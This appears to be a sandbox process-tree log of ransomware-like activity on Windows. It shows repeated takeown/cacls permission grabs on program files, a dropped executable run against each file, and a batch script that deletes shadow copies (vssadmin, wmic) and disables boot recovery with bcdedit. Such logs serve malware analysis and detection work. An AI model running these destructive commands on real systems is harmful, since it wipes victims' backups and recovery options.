C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Graph.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Graph.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Graph.jtp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Graph.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Graph.jtp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "wabmig.exe" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "cryptocme2.sig" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "cryptocme2.sig" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "pmd.cer" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "pmd.cer" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "email_initiator.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "email_initiator.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "pdf.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "pdf.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {8ACF18E0-6FE6-42EF-8170-18F12B3AA326} S-1-5-21-1603059206-2004189698-4139800220-1000:AILVMYUM\Admin:Interactive:[1]1⤵
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Zhwpojmj.bat"2⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "DefaultID.pdf" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Dynamic.pdf" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ENUtxt.pdf" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-722199867-1641373550-572264417-972841702757401937-2026657046-20749018001267283894"1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"1⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ended_review_or_form.gif" -nobanner1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ended_review_or_form.gif" -nobanner2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"2⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "zdingbat.txt" -nobanner1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "zdingbat.txt" -nobanner2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "TURKISH.TXT" -nobanner1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "TURKISH.TXT" -nobanner2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"1⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\PDIALOG.exe.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\PDIALOG.exe.mui"1⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\fr-FR\msoeres.dll.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "eula.ini" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\fr-FR\msoeres.dll.mui"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "eng.hyp" -nobanner1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\NBMapTIP.dll.mui" /E /G Admin:F /C2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\NBMapTIP.dll.mui"2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "AcroSign.prc" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ReadMe.htm" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MinionPro-It.otf" -nobanner1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CP1250.TXT" -nobanner1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CP1250.TXT" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "3719101711882347306-483321979-691445778159520756712349411111360108214494467234"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"1⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-115238188312302771-21866642-95143427850921822820763685871412877783249952919"1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "background.png" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Workflow.Targets" -nobanner1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-93806188620016051431672322329-1255079574-1403695679-1545407439-10604972051628844132"1⤵
- Loads dropped DLL
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1947166720-61987354-7347439861945473313-26715540-1958716398-12713043881378600938"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Genko_2.jtp" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "18985617451019874443196721038-142684826-1243434816-533730504-1134079902-822810711"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-802357176184164744114221721631429851346-13026422717576202461390602686103819970"1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "AUMProduct.cer" -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "email_all.gif" -nobanner1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "55141473-902980343116839283915811897111286202962563188446416319363-1590198425"1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "217037301305642207782325481-413063317-408232124-745598271-550652172221251985"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1924764164-648632903-1613441585-12302560412095924186-1668132901668755886-1271141027"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-6422171542005719322321345671-182172522412963176001075130260509736143853385482"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1181531842-452955229-10774338451374151768-951826788-713336759-5773846491674388348"1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner2⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1533235412-1223725453308808801-16834064561036067508-72831238-9861137811845525079"1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png" /E /G Admin:F /C1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "SolitaireMCE.png" -nobanner1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "SolitaireMCE.png" -nobanner2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner1⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png"1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "SpiderSolitaireMCE.png" -nobanner1⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "classes.jsa" -nobanner1⤵
-
